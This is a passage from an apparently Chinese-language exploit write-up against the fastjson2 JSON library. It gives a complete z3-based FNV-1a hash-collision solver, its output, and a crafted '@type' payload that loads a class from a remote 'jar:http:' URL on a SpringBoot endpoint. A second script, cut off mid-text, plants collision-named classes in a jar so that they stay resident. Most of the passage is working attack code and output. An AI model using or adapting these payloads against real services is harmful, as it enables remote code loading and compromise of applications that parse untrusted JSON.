<p><img src="https://i.ibb.co/GvfCmD5h/d7ab48446ea4.png" alt="f65e13db-a03e-4de9-aa02-6e08e9b84338.png"></p>
|
||
<p>通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了:</p>
|
||
<p><img src="https://i.ibb.co/B2sLh1ZW/9a77a52f43e6.png" alt="de3f01f7-7cd5-4b8b-a33c-1d3d9e56a3a9.png"></p>
|
||
<p>因为它是依次按照^= & *=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本:</p>
|
||
<pre><code><span class="hljs-comment">#!/usr/bin/env python3</span>
|
||
<span class="hljs-string">""</span><span class="hljs-string">"
|
||
FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀
|
||
|
||
对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
|
||
- 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
|
||
- FNV-1a: hash = (hash ^ ch) * prime
|
||
- offset = 0xcbf29ce484222325
|
||
- prime = 0x100000001b3
|
||
|
||
★ 前缀支持 (--prefix):
|
||
指定已知前缀字符串, 该前缀先参与 FNV-1a 计算, 改变起始 hash,
|
||
然后再求解 N 个未知字符使最终 hash 等于目标.
|
||
对应 Java 语义: Fnv.hashCode64(prefix + unknown) == targetHash
|
||
|
||
用法:
|
||
python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符] [--prefix PREFIX]
|
||
|
||
参数:
|
||
目标hash : 十进制 (可负) 或 0x 开头的十六进制
|
||
字符数 : 默认 5 (未知字符数, 不含 prefix)
|
||
最小字符 : 默认 256 (确保 >255, 触发 FNV-1a)
|
||
最大字符 : 默认 65535 (Java char 上限)
|
||
--prefix : 已知前缀字符串 (先参与 FNV-1a, 再求未知字符)
|
||
|
||
示例:
|
||
python3 fnv_collision.py 0xd5ef36df67371111
|
||
python3 fnv_collision.py -6293031534589903644
|
||
python3 fnv_collision.py 0xd5ef36df67371111 5 256 65535 --prefix abc
|
||
python3 fnv_collision.py 0xd5ef36df67371111 3 --prefix 'java.lang.String'
|
||
|
||
依赖:
|
||
pip3 install z3-solver
|
||
"</span><span class="hljs-string">""</span>
|
||
import sys
|
||
import argparse
|
||
import time
|
||
<span class="hljs-keyword">from</span> z3 import *
|
||
|
||
<span class="hljs-comment"># FNV-1a 64 位常量</span>
|
||
OFFSET = 0xcbf29ce484222325
|
||
PRIME = 0x100000001b3
|
||
|
||
|
||
def parse_hash(s):
|
||
<span class="hljs-string">""</span><span class="hljs-string">"解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"</span><span class="hljs-string">""</span>
|
||
s = s.strip()
|
||
<span class="hljs-keyword">if</span> s.lower().startswith(<span class="hljs-string">'0x'</span>):
|
||
v = int(s, 16)
|
||
# 转成有符号 long (Java long 是有符号 64 位)
|
||
<span class="hljs-keyword">if</span> v >= 2*<span class="hljs-number">*63</span>:
|
||
v -= 2*<span class="hljs-number">*64</span>
|
||
return v
|
||
return int(s)
|
||
|
||
|
||
def to_unsigned(v):
|
||
<span class="hljs-string">""</span><span class="hljs-string">"有符号 long -> 无符号"</span><span class="hljs-string">""</span>
|
||
return v & 0xFFFFFFFFFFFFFFFF
|
||
|
||
|
||
def to_java_chars(s):
|
||
<span class="hljs-string">""</span><span class="hljs-string">"
|
||
将 Python 字符串转成 Java char (UTF-16 code unit) 序列.
|
||
|
||
Java 的 String.charAt(i) 返回 16 位 char, FNV-1a 实际是对
|
||
UTF-16 code unit 迭代, 不是对 Unicode codepoint 迭代.
|
||
- BMP 字符 (0x0000-0xFFFF): code unit == codepoint, 两者等价
|
||
- 非 BMP 字符 (如 emoji 0x1F600): Java 迭代代理对 [0xD83D, 0xDE00],
|
||
Python 的 ord() 返回整个 codepoint. 本函数确保与 Java 行为一致.
|
||
"</span><span class="hljs-string">""</span>
|
||
b = s.encode(<span class="hljs-string">'utf-16-be'</span>)
|
||
return [int.from_bytes(b[i:i+2], <span class="hljs-string">'big'</span>) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(0, len(b), 2)]
|
||
|
||
|
||
def fnv1a_hash(s):
|
||
<span class="hljs-string">""</span><span class="hljs-string">"计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"</span><span class="hljs-string">""</span>
|
||
h = OFFSET
|
||
<span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> to_java_chars(s):
|
||
h ^= ch
|
||
h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
|
||
return h
|
||
|
||
|
||
def fnv1a_prefix_state(prefix):
|
||
<span class="hljs-string">""</span><span class="hljs-string">"
|
||
计算 prefix 参与 FNV-1a 后的起始 hash 状态.
|
||
|
||
返回 (h_start, prefix_chars, prefix_has_high_char):
|
||
h_start : prefix 跑完 FNV-1a 后的 hash (作为未知字符的起点)
|
||
prefix_chars : prefix 的 Java char 序列
|
||
prefix_has_high_char : prefix 是否含 >255 的 char (影响 FNV-1a 触发判断)
|
||
"</span><span class="hljs-string">""</span>
|
||
chars = to_java_chars(prefix)
|
||
h = OFFSET
|
||
<span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> chars:
|
||
h ^= ch
|
||
h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
|
||
has_high = any(ch > 255 <span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> chars)
|
||
return h, chars, has_high
|
||
|
||
|
||
def solve(target_hash, <span class="hljs-attribute">num_chars</span>=5, <span class="hljs-attribute">min_char</span>=256, <span class="hljs-attribute">max_char</span>=65535, <span class="hljs-attribute">prefix</span>=<span class="hljs-string">''</span>):
|
||
<span class="hljs-string">""</span><span class="hljs-string">"
|
||
用 z3 求 N 字符碰撞 (支持已知前缀)
|
||
|
||
target_hash: 目标 hash (有符号 long)
|
||
num_chars: 未知字符数 (不含 prefix)
|
||
min_char: 字符最小值 (256 确保触发 FNV-1a)
|
||
max_char: 字符最大值 (65535 = Java char 上限)
|
||
prefix: 已知前缀字符串, 先参与 FNV-1a 计算, 改变起始 hash
|
||
|
||
求解等式: FNV1a_continue(FNV1a(prefix), unknown_chars) == target_hash
|
||
"</span><span class="hljs-string">""</span>
|
||
target_unsigned = to_unsigned(target_hash)
|
||
|
||
# ★ 关键: 先把<span class="hljs-built_in"> prefix </span>跑一遍 FNV-1a, 得到起始 hash
|
||
#<span class="hljs-built_in"> prefix </span>是已知常量, 这一步用纯 Python 算出具体数值, 不需要 z3 变量
|
||
h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
|
||
|
||
# 创建 num_chars 个 64 位 BitVec 变量 (只对未知字符建变量)
|
||
c = [BitVec(f<span class="hljs-string">'c{i}'</span>, 64) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars)]
|
||
|
||
# FNV-1a 计算 (从<span class="hljs-built_in"> prefix </span>处理后的 h_start 继续)
|
||
h = BitVecVal(h_start, 64)
|
||
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars):
|
||
h = (h ^ c[i]) * BitVecVal(PRIME, 64)
|
||
|
||
# 求解器
|
||
s = Solver()
|
||
s.<span class="hljs-built_in">add</span>(h == BitVecVal(target_unsigned, 64))
|
||
|
||
# 字符范围约束
|
||
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars):
|
||
s.<span class="hljs-built_in">add</span>(c[i] >= min_char)
|
||
s.<span class="hljs-built_in">add</span>(c[i] <= max_char)
|
||
# ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)
|
||
# 这些码点专用于 UTF-16 编码,不能作为独立字符
|
||
# Python chr() 能产生但 <span class="hljs-built_in">print</span> 时 UTF-8 不允许
|
||
s.<span class="hljs-built_in">add</span>(<span class="hljs-keyword">Or</span>(c[i] < 0xD800, c[i] > 0xDFFF))
|
||
|
||
# FNV-1a 触发条件检查 (考虑 prefix)
|
||
# fastjson2: 字符串长度 > 8 或任一 char > 255 -> 走 FNV-1a
|
||
prefix_java_len = len(prefix_chars)
|
||
total_len = prefix_java_len + num_chars
|
||
|
||
# 只有当总长度 <=8 且<span class="hljs-built_in"> prefix </span>没有高字符 且 字符范围含 <=255 时,
|
||
# 才需要强制至少一个未知字符 >255 (确保走 FNV-1a 而非短字符串优化)
|
||
<span class="hljs-keyword">if</span> min_char <= 255 <span class="hljs-keyword">and</span> total_len <= 8 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> prefix_has_high:
|
||
s.<span class="hljs-built_in">add</span>(<span class="hljs-keyword">Or</span>([c[i] > 255 <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars)]))
|
||
|
||
# 求解
|
||
result = s.check()
|
||
<span class="hljs-keyword">if</span> result == sat:
|
||
m = s.model()
|
||
return [m[c[i]].as_long() <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num_chars)]
|
||
return None
|
||
|
||
|
||
def main():
|
||
parser = argparse.ArgumentParser(
|
||
<span class="hljs-attribute">description</span>=<span class="hljs-string">'FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀'</span>,
|
||
<span class="hljs-attribute">formatter_class</span>=argparse.RawDescriptionHelpFormatter,
|
||
)
|
||
parser.add_argument(<span class="hljs-string">'target_hash'</span>, <span class="hljs-attribute">type</span>=str,
|
||
<span class="hljs-attribute">help</span>=<span class="hljs-string">'目标 hash (十进制可负 / 0x十六进制)'</span>)
|
||
parser.add_argument(<span class="hljs-string">'num_chars'</span>, <span class="hljs-attribute">type</span>=int, <span class="hljs-attribute">nargs</span>=<span class="hljs-string">'?'</span>, <span class="hljs-attribute">default</span>=5,
|
||
<span class="hljs-attribute">help</span>=<span class="hljs-string">'未知字符数 (默认 5, 不含 prefix)'</span>)
|
||
parser.add_argument(<span class="hljs-string">'min_char'</span>, <span class="hljs-attribute">type</span>=int, <span class="hljs-attribute">nargs</span>=<span class="hljs-string">'?'</span>, <span class="hljs-attribute">default</span>=256,
|
||
<span class="hljs-attribute">help</span>=<span class="hljs-string">'字符最小值 (默认 256)'</span>)
|
||
parser.add_argument(<span class="hljs-string">'max_char'</span>, <span class="hljs-attribute">type</span>=int, <span class="hljs-attribute">nargs</span>=<span class="hljs-string">'?'</span>, <span class="hljs-attribute">default</span>=65535,
|
||
<span class="hljs-attribute">help</span>=<span class="hljs-string">'字符最大值 (默认 65535)'</span>)
|
||
parser.add_argument(<span class="hljs-string">'--prefix'</span>, <span class="hljs-attribute">type</span>=str, <span class="hljs-attribute">default</span>=<span class="hljs-string">''</span>,
|
||
<span class="hljs-attribute">help</span>=<span class="hljs-string">'已知前缀字符串, 先参与 FNV-1a 再求解未知字符'</span>)
|
||
args = parser.parse_args()
|
||
|
||
target_hash = parse_hash(args.target_hash)
|
||
num_chars = args.num_chars
|
||
min_char = args.min_char
|
||
max_char = args.max_char
|
||
<span class="hljs-built_in"> prefix </span>= args.prefix
|
||
|
||
# 预计算<span class="hljs-built_in"> prefix </span>状态 (用于显示)
|
||
h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
|
||
prefix_java_len = len(prefix_chars)
|
||
total_len = prefix_java_len + num_chars
|
||
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * 64)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" FNV-1a 64 位哈希碰撞求解器 (z3)"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * 64)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 目标 hash (有符号): {target_hash}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 目标 hash (无符号): {to_unsigned(target_hash)}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知字符数: {num_chars}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 字符范围: [{min_char}, {max_char}]"</span>)
|
||
<span class="hljs-keyword">if</span> prefix:
|
||
prefix_display = prefix.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 已知前缀: \"{prefix_display}\""</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 前缀长度: {prefix_java_len} Java char(s)"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 前缀含 >255 字符: {'是' if prefix_has_high else '否'}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 前缀处理后起始 hash: 0x{h_start:016x}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" (原始 OFFSET: 0x{OFFSET:016x})"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 总字符串长度: {total_len} Java char(s)"</span>)
|
||
<span class="hljs-keyword">if</span> min_char <= 255 <span class="hljs-keyword">and</span> total_len <= 8 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> prefix_has_high:
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" ⚠ 总长度 <=8 且范围含 <=255, 会强制至少一个未知字符 >255 (走 FNV-1a)"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
|
||
# 求解
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 求解中..."</span>)
|
||
start = time.time()
|
||
result = solve(target_hash, num_chars, min_char, max_char, prefix)
|
||
elapsed = time.time() - start
|
||
|
||
<span class="hljs-keyword">if</span> result is None:
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 可能原因:"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. 输入空间太小 (字符数 × 位宽 < 64)"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. z3 求解超时 (尝试减少字符数)"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 真的无解 (极少见)"</span>)
|
||
return
|
||
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" ✓ 找到解! 耗时 {elapsed:.2f}s"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
|
||
# 构造碰撞字符串 (只有未知部分)
|
||
collision_str = <span class="hljs-string">''</span>.join(chr(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)
|
||
# 完整字符串 =<span class="hljs-built_in"> prefix </span>+ 未知部分
|
||
full_str =<span class="hljs-built_in"> prefix </span>+ collision_str
|
||
|
||
# 验证: 完整字符串的 FNV-1a hash 应该等于目标
|
||
actual_hash = fnv1a_hash(full_str)
|
||
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 碰撞结果"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 原始目标 hash: 0x{to_unsigned(target_hash):016x}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 完整字符串 hash: 0x{to_unsigned(actual_hash):016x}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-keyword">if</span> prefix:
|
||
prefix_display = prefix.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 已知前缀: \"{prefix_display}\""</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分 Code Points: {result}"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分 十六进制: [{', '.join(f'0x{c:04x}' for c in result)}]"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分 Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}"</span>)
|
||
safe_str = collision_str.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" 未知部分字符串: \"{safe_str}\""</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 使用提示"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * 64)
|
||
<span class="hljs-built_in">print</span>()
|
||
# Java 形式:<span class="hljs-built_in"> prefix </span>用 Unicode 转义 + 未知部分用 Unicode 转义
|
||
prefix_unicode = <span class="hljs-string">''</span>.join(f<span class="hljs-string">'\\u{ch:04x}'</span> <span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> prefix_chars)
|
||
unknown_unicode = <span class="hljs-string">''</span>.join(f<span class="hljs-string">'\\u{c:04x}'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)
|
||
<span class="hljs-keyword">if</span> prefix:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">' String s = "{prefix_unicode}{unknown_unicode}";'</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
prefix_display = prefix.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-attribute">errors</span>=<span class="hljs-string">'backslashreplace'</span>).decode('utf-8')
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">' String s = "{prefix_display}" + "{unknown_unicode}";'</span>)
|
||
<span class="hljs-keyword">else</span>:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. Java 中使用 (用 Unicode 转义):"</span>)
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">' String s = "{unknown_unicode}";'</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(f<span class="hljs-string">" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 这个字符串的 FNV-1a hash 等于目标 hash"</span>)
|
||
<span class="hljs-keyword">if</span> min_char > 255:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * 64)
|
||
|
||
|
||
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
|
||
main()
|
||
</code></pre><p>生成远程加载的 payload:</p>
|
||
<pre><code>heihu577 @ <span class="hljs-symbol">~/Desktop</span> ❯ python fnv_collision.py <span class="hljs-operator">-</span>-prefix <span class="hljs-string">"jar:http:..2887610369.2333.Hello<span class="hljs-char escape_">\!</span>.Hello"</span> <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span>
|
||
════════════════════════════════════════════════════════════════
|
||
FNV-<span class="hljs-number">1</span>a <span class="hljs-number">64</span> 位哈希碰撞求解器 (z3)
|
||
════════════════════════════════════════════════════════════════
|
||
|
||
目标 hash (有符号): <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span>
|
||
目标 hash (无符号): <span class="hljs-number">12153712539119647972</span>
|
||
目标 hash (十六进制): <span class="hljs-number">0</span>xa8aaa929446ffce4
|
||
|
||
未知字符数: <span class="hljs-number">5</span>
|
||
字符范围: [<span class="hljs-number">256</span>, <span class="hljs-number">65535</span>]
|
||
已知前缀: <span class="hljs-string">"jar:http:..2887610369.2333.Hello!.Hello"</span>
|
||
前缀长度: <span class="hljs-number">39</span> Java char(s)
|
||
前缀含 <span class="hljs-operator">></span><span class="hljs-number">255</span> 字符: 否
|
||
前缀处理后起始 <span class="hljs-params">hash:</span> <span class="hljs-number">0</span>x3acee6a3e7fcfdce
|
||
(原始 <span class="hljs-params">OFFSET:</span> <span class="hljs-number">0</span>xcbf29ce484222325)
|
||
总字符串长度: <span class="hljs-number">44</span> Java char(s)
|
||
|
||
求解中...
|
||
✓ 找到解<span class="hljs-operator">!</span> 耗时 <span class="hljs-number">0.19</span>s
|
||
|
||
────────────────────────────────────────────────────────────────
|
||
碰撞结果
|
||
────────────────────────────────────────────────────────────────
|
||
|
||
原始目标 <span class="hljs-params">hash:</span> <span class="hljs-number">0</span>xa8aaa929446ffce4
|
||
完整字符串 <span class="hljs-params">hash:</span> <span class="hljs-number">0</span>xa8aaa929446ffce4
|
||
匹配: ✓
|
||
|
||
已知前缀: <span class="hljs-string">"jar:http:..2887610369.2333.Hello!.Hello"</span>
|
||
未知部分 Code <span class="hljs-params">Points:</span> [<span class="hljs-number">16676</span>, <span class="hljs-number">4874</span>, <span class="hljs-number">30874</span>, <span class="hljs-number">19441</span>, <span class="hljs-number">64757</span>]
|
||
未知部分 十六进制: [<span class="hljs-number">0</span>x4124, <span class="hljs-number">0</span>x130a, <span class="hljs-number">0</span>x789a, <span class="hljs-number">0</span>x4bf1, <span class="hljs-number">0</span>xfcf5]
|
||
未知部分 Unicode 转义: \u4124\u130a\u789a\u4bf1\ufcf5
|
||
未知部分字符串: <span class="hljs-string">"䄤ጊ碚䯱ﳵ"</span>
|
||
|
||
────────────────────────────────────────────────────────────────
|
||
使用提示
|
||
────────────────────────────────────────────────────────────────
|
||
|
||
<span class="hljs-number">1</span>. Java 中使用 (prefix <span class="hljs-operator">+</span> 未知部分, 全 Unicode 转义):
|
||
String s <span class="hljs-operator">=</span> <span class="hljs-string">"<span class="hljs-char escape_">\u</span>006a<span class="hljs-char escape_">\u</span>0061<span class="hljs-char escape_">\u</span>0072<span class="hljs-char escape_">\u</span>003a<span class="hljs-char escape_">\u</span>0068<span class="hljs-char escape_">\u</span>0074<span class="hljs-char escape_">\u</span>0074<span class="hljs-char escape_">\u</span>0070<span class="hljs-char escape_">\u</span>003a<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0032<span class="hljs-char escape_">\u</span>0038<span class="hljs-char escape_">\u</span>0038<span class="hljs-char escape_">\u</span>0037<span class="hljs-char escape_">\u</span>0036<span class="hljs-char escape_">\u</span>0031<span class="hljs-char escape_">\u</span>0030<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>0036<span class="hljs-char escape_">\u</span>0039<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0032<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>0033<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0048<span class="hljs-char escape_">\u</span>0065<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006f<span class="hljs-char escape_">\u</span>0021<span class="hljs-char escape_">\u</span>002e<span class="hljs-char escape_">\u</span>0048<span class="hljs-char escape_">\u</span>0065<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006c<span class="hljs-char escape_">\u</span>006f<span class="hljs-char escape_">\u</span>4124<span class="hljs-char escape_">\u</span>130a<span class="hljs-char escape_">\u</span>789a<span class="hljs-char escape_">\u</span>4bf1<span class="hljs-char escape_">\u</span>fcf5"</span>;
|
||
|
||
<span class="hljs-number">2</span>. 或者 prefix 用字面量, 未知部分用 Unicode 转义:
|
||
String s <span class="hljs-operator">=</span> <span class="hljs-string">"jar:http:..2887610369.2333.Hello!.Hello"</span> <span class="hljs-operator">+</span> <span class="hljs-string">"<span class="hljs-char escape_">\u</span>4124<span class="hljs-char escape_">\u</span>130a<span class="hljs-char escape_">\u</span>789a<span class="hljs-char escape_">\u</span>4bf1<span class="hljs-char escape_">\u</span>fcf5"</span>;
|
||
|
||
long hash <span class="hljs-operator">=</span> com.alibaba.fastjson2.util.Fnv.hashCode64(s);
|
||
|
||
<span class="hljs-number">3</span>. 这个字符串的 FNV-<span class="hljs-number">1</span>a hash 等于目标 hash
|
||
<span class="hljs-number">4</span>. 每个未知字符 <span class="hljs-operator">></span> <span class="hljs-number">255</span>, 确保走 FNV-<span class="hljs-number">1</span>a 分支 (非短字符串优化)
|
||
|
||
════════════════════════════════════════════════════════════════
|
||
</code></pre><p>该 payload 能成功走向 loadClass 逻辑:</p>
|
||
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
|
||
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
|
||
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">Object</span>.<span class="hljs-property">class</span>);
|
||
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
|
||
</code></pre><p>最终结果:</p>
|
||
<p><img src="https://i.ibb.co/JFb9GtS1/fe174e1c7c09.png" alt="a7b4dea2-5b46-47c9-be42-46622c245c6a.png"></p>
|
||
<h2>SpringBoot 中测试</h2>
|
||
<p>在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可.</p>
|
||
<h3>fnv 计算步骤</h3>
|
||
<p>另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如:</p>
|
||
<pre><code><span class="hljs-attribute">jar</span>:http:..<span class="hljs-number">2887610369</span>:<span class="hljs-number">2333</span>.Hello!.Hello
|
||
</code></pre><p>原封不动的将其丢到 fnv 计算器中:</p>
|
||
<p><img src="https://i.ibb.co/pBcV5ZhY/b3c139ef515f.png" alt="b5d4f583-9b49-47bc-bbd7-b508246c966e.png"></p>
|
||
<p>生成结果为:</p>
|
||
<pre><code>jar:http:..2887610369:2333.Hello!.Hello<span class="hljs-symbol">\ue94c</span><span class="hljs-symbol">\uc17c</span><span class="hljs-symbol">\uf770</span><span class="hljs-symbol">\ua803</span><span class="hljs-symbol">\uc0d3</span>
|
||
</code></pre><h3>驻留 jar 步骤</h3>
|
||
<p>若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\ue94c\uc17c\uf770\ua803\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用:</p>
|
||
<pre><code><span class="hljs-comment">#!/usr/bin/env python3</span>
|
||
<span class="hljs-string">"""
|
||
JAR/ZIP 碰撞条目复制工具 - 配合 fnv_collision.py 使用
|
||
|
||
功能:
|
||
将 JAR 中已有的 class 文件复制一份, 在文件名末尾 (扩展名前) 插入
|
||
fnv_collision.py 求出的 unicode 字符, 形成新的 JAR 条目.
|
||
|
||
这样 JNDI jar: URL 加载时, fastjson 校验的类名 FNV hash 命中碰撞值,
|
||
实际加载的却是新条目 (内容与原 class 一致).
|
||
|
||
用法:
|
||
python3 jar_collision_copy.py <JAR文件> <原class文件名> <unicode转义串>
|
||
|
||
参数:
|
||
JAR文件 : 要修改的 JAR/ZIP 文件路径
|
||
原 class 文件名 : JAR 中已存在的 class 条目名 (如 Hello.class)
|
||
unicode 转义串 : \\uXXXX 格式字符串 (来自 fnv_collision.py 输出)
|
||
★ 请用单引号包裹, 避免 shell 解释 \\u
|
||
|
||
示例:
|
||
python3 jar_collision_copy.py ./Hello Hello.class '\\ue94c\\uc17c\\uf770\\ua803\\uc0d3'
|
||
|
||
# 也可以直接传已解码的 unicode 字符 (双引号在 zsh 下会解码 \\u)
|
||
python3 jar_collision_copy.py ./Hello Hello.class "셼ꠃ샓"
|
||
|
||
工作流程:
|
||
